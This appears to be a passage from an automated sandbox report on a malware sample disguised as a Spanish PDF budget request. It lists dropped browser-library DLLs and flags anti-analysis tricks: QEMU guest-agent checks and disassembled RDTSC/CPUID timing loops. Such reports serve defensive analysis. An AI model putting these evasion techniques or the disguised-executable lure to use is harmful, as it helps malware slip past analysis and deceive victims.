Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\breakpadinjector.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-utility-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\AccessibleHandler.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-memory-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-synch-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-rtlsupport-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\ldif60.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-file-l2-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-synch-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-process-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-interlocked-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-processthreads-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\IA2Marshal.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-filesystem-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-timezone-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\nssdbm3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-sysinfo-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\prldap60.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-conio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-processthreads-l1-1-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\ldap60.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-libraryloader-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\mozMapi32_InUse.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-math-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-runtime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\ucrtbase.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\nssckbi.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-multibyte-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-handle-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\AccessibleMarshal.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-environment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\MapiProxy.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-convert-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-profile-l1-1-0.dll	Jump to dropped file

Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Contains functionality to detect hardware virtualization (CPUID execution measurement)

Show sources

Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Code function: 0_2_020F524D NtSetInformationThread,NtResumeThread,		0_2_020F524D
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Code function: 0_2_020F05E9 TerminateProcess,		0_2_020F05E9

Detected RDTSC dummy instruction sequence (likely for instruction hammering)

Show sources

Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe

RDTSC instruction interceptor: First address: 00000000020F44C9 second address: 00000000020F44C9 instructions: 0x00000000 rdtsc 0x00000002 xor eax, eax 0x00000004 inc eax 0x00000005 cpuid 0x00000007 popad 0x00000008 call 00007F98ECACAE88h 0x0000000d lfence 0x00000010 mov edx, dword ptr [7FFE0014h] 0x00000016 lfence 0x00000019 ret 0x0000001a sub edx, esi 0x0000001c ret 0x0000001d cmp al, AAh 0x0000001f add edi, edx 0x00000021 dec dword ptr [ebp+000000F8h] 0x00000027 cmp dword ptr [ebp+000000F8h], 00000000h 0x0000002e jne 00007F98ECACAE65h 0x00000030 test bx, dx 0x00000033 test eax, edx 0x00000035 call 00007F98ECACAF42h 0x0000003a call 00007F98ECACAE98h 0x0000003f lfence 0x00000042 mov edx, dword ptr [7FFE0014h] 0x00000048 lfence 0x0000004b ret 0x0000004c mov esi, edx 0x0000004e pushad 0x0000004f rdtsc

Tries to detect Any.run

Show sources

Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe, SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe, 00000002.00000002.313364575.0000000000561000.00000040.00000001.sdmp

Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	RDTSC instruction interceptor: First address: 00000000020F44C9 second address: 00000000020F44C9 instructions: 0x00000000 rdtsc 0x00000002 xor eax, eax 0x00000004 inc eax 0x00000005 cpuid 0x00000007 popad 0x00000008 call 00007F98ECACAE88h 0x0000000d lfence 0x00000010 mov edx, dword ptr [7FFE0014h] 0x00000016 lfence 0x00000019 ret 0x0000001a sub edx, esi 0x0000001c ret 0x0000001d cmp al, AAh 0x0000001f add edi, edx 0x00000021 dec dword ptr [ebp+000000F8h] 0x00000027 cmp dword ptr [ebp+000000F8h], 00000000h 0x0000002e jne 00007F98ECACAE65h 0x00000030 test bx, dx 0x00000033 test eax, edx 0x00000035 call 00007F98ECACAF42h 0x0000003a call 00007F98ECACAE98h 0x0000003f lfence 0x00000042 mov edx, dword ptr [7FFE0014h] 0x00000048 lfence 0x0000004b ret 0x0000004c mov esi, edx 0x0000004e pushad 0x0000004f rdtsc
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	RDTSC instruction interceptor: First address: 00000000020F44E9 second address: 00000000020F44E9 instructions: 0x00000000 rdtsc 0x00000002 lfence 0x00000005 shl edx, 20h 0x00000008 or edx, eax 0x0000000a ret 0x0000000b mov esi, edx 0x0000000d pushad 0x0000000e xor eax, eax 0x00000010 inc eax 0x00000011 cpuid 0x00000013 bt ecx, 1Fh 0x00000017 jc 00007F98ECA5FF89h 0x0000001d popad 0x0000001e call 00007F98ECA5FCC1h 0x00000023 lfence 0x00000026 rdtsc
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	RDTSC instruction interceptor: First address: 00000000020F0739 second address: 00000000020F0632 instructions: 0x00000000 rdtsc 0x00000002 popad 0x00000003 pop esi 0x00000004 cmp eax, 7C8AA9FDh 0x00000009 je 00007F98ECACEEE5h 0x0000000f cmp eax, 9B8FFB51h 0x00000014 je 00007F98ECACEEDAh 0x0000001a test cx, dx 0x0000001d cmp eax, 555E1691h 0x00000022 je 00007F98ECACEECCh 0x00000028 cmp eax, CE81C85Dh 0x0000002d je 00007F98ECACEEC1h 0x00000033 test ecx, eax 0x00000035 inc esi 0x00000036 cmp eax, ebx 0x00000038 cmp esi, 000000FFh 0x0000003e jne 00007F98ECACAD29h 0x00000044 mov edi, dword ptr [ebp+20h] 0x00000047 add edi, 00010000h 0x0000004d cmp ecx, edx 0x0000004f push edi 0x00000050 pushad 0x00000051 mov ebx, 000000A1h 0x00000056 rdtsc
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	RDTSC instruction interceptor: First address: 00000000020F07CD second address: 00000000020F52F2 instructions: 0x00000000 rdtsc 0x00000002 popad 0x00000003 push 00000000h 0x00000005 push 00000000h 0x00000007 test cx, dx 0x0000000a push eax 0x0000000b call 00007F98ECA64620h 0x00000010 call 00007F98ECA5FBB5h 0x00000015 pop ebx 0x00000016 sub ebx, 05h 0x00000019 jmp 00007F98ECA5FC4Dh 0x0000001e pushad 0x0000001f lfence 0x00000022 rdtsc
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	RDTSC instruction interceptor: First address: 00000000020F09E6 second address: 00000000020F52F2 instructions: 0x00000000 rdtsc 0x00000002 popad 0x00000003 mov edx, ebp 0x00000005 add edx, 0000009Ch 0x0000000b test cx, dx 0x0000000e push edx 0x0000000f push 00000007h 0x00000011 push FFFFFFFFh 0x00000013 test ecx, eax 0x00000015 push eax 0x00000016 cmp eax, ebx 0x00000018 call 00007F98ECACF6CAh 0x0000001d call 00007F98ECACAE85h 0x00000022 pop ebx 0x00000023 sub ebx, 05h 0x00000026 jmp 00007F98ECACAF1Dh 0x0000002b pushad 0x0000002c lfence 0x0000002f rdtsc
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	RDTSC instruction interceptor: First address: 00000000020F1EF8 second address: 00000000020F52F2 instructions: 0x00000000 rdtsc 0x00000002 lfence 0x00000005 shl edx, 20h 0x00000008 or edx, eax 0x0000000a popad 0x0000000b push dword ptr [ebp+4Ch] 0x0000000e cmp ax, dx 0x00000011 call 00007F98ECA61B38h 0x00000016 cmp ax, bx 0x00000019 mov eax, dword ptr fs:[00000030h] 0x0000001f cld 0x00000020 mov eax, dword ptr [eax+10h] 0x00000023 mov eax, dword ptr [eax+3Ch] 0x00000026 ret 0x00000027 push eax 0x00000028 push 00000000h 0x0000002a cmp eax, ecx 0x0000002c push dword ptr [ebp+50h] 0x0000002f call 00007F98ECA62EE2h 0x00000034 call 00007F98ECA5FBB5h 0x00000039 pop ebx 0x0000003a sub ebx, 05h 0x0000003d jmp 00007F98ECA5FC4Dh 0x00000042 pushad 0x00000043 lfence 0x00000046 rdtsc
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	RDTSC instruction interceptor: First address: 00000000020F20A6 second address: 00000000020F52F2 instructions: 0x00000000 rdtsc 0x00000002 lfence 0x00000005 shl edx, 20h 0x00000008 or edx, eax 0x0000000a popad 0x0000000b mov dword ptr [edi+14h], 00000000h 0x00000012 cmp ax, dx 0x00000015 cmp eax, ecx 0x00000017 push 00000000h 0x00000019 push 00000001h 0x0000001b cmp ebx, 3BD0C633h 0x00000021 sub edi, 20h 0x00000024 push edi 0x00000025 cmp ah, bh 0x00000027 add edi, 20h 0x0000002a push edi 0x0000002b cmp al, dl 0x0000002d push 00000001h 0x0000002f mov dword ptr [ebp+0000010Ch], 00000000h 0x00000039 mov eax, ebp 0x0000003b test cx, cx 0x0000003e add eax, 0000010Ch 0x00000043 push eax 0x00000044 push dword ptr [ebp+000000FCh] 0x0000004a call 00007F98ECACDFD8h 0x0000004f call 00007F98ECACAE85h 0x00000054 pop ebx 0x00000055 sub ebx, 05h 0x00000058 jmp 00007F98ECACAF1Dh 0x0000005d pushad 0x0000005e lfence 0x00000061 rdtsc
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	RDTSC instruction interceptor: First address: 00000000020F2149 second address: 00000000020F52F2 instructions: 0x00000000 rdtsc 0x00000002 lfence 0x00000005 shl edx, 20h 0x00000008 or edx, eax 0x0000000a popad 0x0000000b mov edi, dword ptr [ebp+20h] 0x0000000e cmp ax, dx 0x00000011 push 00000004h 0x00000013 push 00000000h 0x00000015 push 00000002h 0x00000017 cmp eax, ecx 0x00000019 mov eax, ebp 0x0000001b add eax, 00000100h 0x00000020 mov dword ptr [eax], 00000000h 0x00000026 cmp ebx, 26C6D910h 0x0000002c push eax 0x0000002d cmp ah, bh 0x0000002f push 00000000h 0x00000031 cmp al, dl 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 mov eax, ebp 0x00000039 test cx, cx 0x0000003c add eax, 00000104h 0x00000041 mov dword ptr [eax], 00400000h 0x00000047 push eax 0x00000048 push dword ptr [edi+00000800h] 0x0000004e push dword ptr [ebp+00000108h] 0x00000054 push dword ptr [ebp+3Ch] 0x00000057 call 00007F98ECA62C58h 0x0000005c call 00007F98ECA5FBB5h 0x00000061 pop ebx 0x00000062 sub ebx, 05h 0x00000065 jmp 00007F98ECA5FC4Dh 0x0000006a pushad 0x0000006b lfence 0x0000006e rdtsc
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	RDTSC instruction interceptor: First address: 00000000020F2338 second address: 00000000020F52F2 instructions: 0x00000000 rdtsc 0x00000002 lfence 0x00000005 shl edx, 20h 0x00000008 or edx, eax 0x0000000a popad 0x0000000b mov ecx, dword ptr [ebp+20h] 0x0000000e cmp ax, dx 0x00000011 add ecx, 00004100h 0x00000017 mov dword ptr [ecx], 00010007h 0x0000001d cmp eax, ecx 0x0000001f push ecx 0x00000020 push dword ptr [edi+00000804h] 0x00000026 cmp ebx, 0E80C626h 0x0000002c push dword ptr [ebp+28h] 0x0000002f cmp ah, bh 0x00000031 call 00007F98ECACDD5Fh 0x00000036 call 00007F98ECACAE85h 0x0000003b pop ebx 0x0000003c sub ebx, 05h 0x0000003f jmp 00007F98ECACAF1Dh 0x00000044 pushad 0x00000045 lfence 0x00000048 rdtsc
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	RDTSC instruction interceptor: First address: 00000000005644E9 second address: 00000000005644E9 instructions: 0x00000000 rdtsc 0x00000002 lfence 0x00000005 shl edx, 20h 0x00000008 or edx, eax 0x0000000a ret 0x0000000b mov esi, edx 0x0000000d pushad 0x0000000e xor eax, eax 0x00000010 inc eax 0x00000011 cpuid 0x00000013 bt ecx, 1Fh 0x00000017 jc 00007F98ECA5FF89h 0x0000001d popad 0x0000001e call 00007F98ECA5FCC1h 0x00000023 lfence 0x00000026 rdtsc
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	RDTSC instruction interceptor: First address: 0000000000560739 second address: 0000000000560632 instructions: 0x00000000 rdtsc 0x00000002 popad 0x00000003 pop esi 0x00000004 cmp eax, 7C8AA9FDh 0x00000009 je 00007F98ECACEEE5h 0x0000000f cmp eax, 9B8FFB51h 0x00000014 je 00007F98ECACEEDAh 0x0000001a test cx, dx 0x0000001d cmp eax, 555E1691h 0x00000022 je 00007F98ECACEECCh 0x00000028 cmp eax, CE81C85Dh 0x0000002d je 00007F98ECACEEC1h 0x00000033 test ecx, eax 0x00000035 inc esi 0x00000036 cmp eax, ebx 0x00000038 cmp esi, 000000FFh 0x0000003e jne 00007F98ECACAD29h 0x00000044 mov edi, dword ptr [ebp+20h] 0x00000047 add edi, 00010000h 0x0000004d cmp ecx, edx 0x0000004f push edi 0x00000050 pushad 0x00000051 mov ebx, 000000A1h 0x00000056 rdtsc
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	RDTSC instruction interceptor: First address: 00000000005607CD second address: 00000000005652F2 instructions: 0x00000000 rdtsc 0x00000002 popad 0x00000003 push 00000000h 0x00000005 push 00000000h 0x00000007 test cx, dx 0x0000000a push eax 0x0000000b call 00007F98ECA64620h 0x00000010 call 00007F98ECA5FBB5h 0x00000015 pop ebx 0x00000016 sub ebx, 05h 0x00000019 jmp 00007F98ECA5FC4Dh 0x0000001e pushad 0x0000001f lfence 0x00000022 rdtsc
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	RDTSC instruction interceptor: First address: 00000000005609E6 second address: 00000000005652F2 instructions: 0x00000000 rdtsc 0x00000002 popad 0x00000003 mov edx, ebp 0x00000005 add edx, 0000009Ch 0x0000000b test cx, dx 0x0000000e push edx 0x0000000f push 00000007h 0x00000011 push FFFFFFFFh 0x00000013 test ecx, eax 0x00000015 push eax 0x00000016 cmp eax, ebx 0x00000018 call 00007F98ECACF6CAh 0x0000001d call 00007F98ECACAE85h 0x00000022 pop ebx 0x00000023 sub ebx, 05h 0x00000026 jmp 00007F98ECACAF1Dh 0x0000002b pushad 0x0000002c lfence 0x0000002f rdtsc
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	RDTSC instruction interceptor: First address: 000000000056164E second address: 00000000005652F2 instructions: 0x00000000 rdtsc 0x00000002 popad 0x00000003 push FFFFFFFFh 0x00000005 push dword ptr [ebp+24h] 0x00000008 cmp eax, edx 0x0000000a call 00007F98ECA637A0h 0x0000000f call 00007F98ECA5FBB5h 0x00000014 pop ebx 0x00000015 sub ebx, 05h 0x00000018 jmp 00007F98ECA5FC4Dh 0x0000001d pushad 0x0000001e lfence 0x00000021 rdtsc
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	RDTSC instruction interceptor: First address: 0000000000561A8B second address: 00000000005652F2 instructions: 0x00000000 rdtsc 0x00000002 lfence 0x00000005 shl edx, 20h 0x00000008 or edx, eax 0x0000000a popad 0x0000000b mov dword ptr [eax+08h], 00400000h 0x00000012 cmp bh, ch 0x00000014 mov eax, dword ptr [eax+0Ch] 0x00000017 mov eax, dword ptr [eax+14h] 0x0000001a mov dword ptr [eax+10h], 00400000h 0x00000021 cmp bh, bh 0x00000023 cmp ax, 00009409h 0x00000027 test ax, bx 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e cmp ebx, 99359DB0h 0x00000034 push 00000000h 0x00000036 push edx 0x00000037 cmp dl, FFFFFFA3h 0x0000003a push 00000000h 0x0000003c push 00000000h 0x0000003e push dword ptr [ebp+000000C0h] 0x00000044 call 00007F98ECACE5F9h 0x00000049 call 00007F98ECACAE85h 0x0000004e pop ebx 0x0000004f sub ebx, 05h 0x00000052 jmp 00007F98ECACAF1Dh 0x00000057 pushad 0x00000058 lfence 0x0000005b rdtsc

Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe

Code function: 0_2_020F524D rdtsc

0_2_020F524D

Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-private-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-locale-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-namedpipe-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-localization-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\lgpllibs.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-util-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\qipcap.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\libEGL.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\mozMapi32.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-stdio-l1-1-0.dll	Jump to dropped file
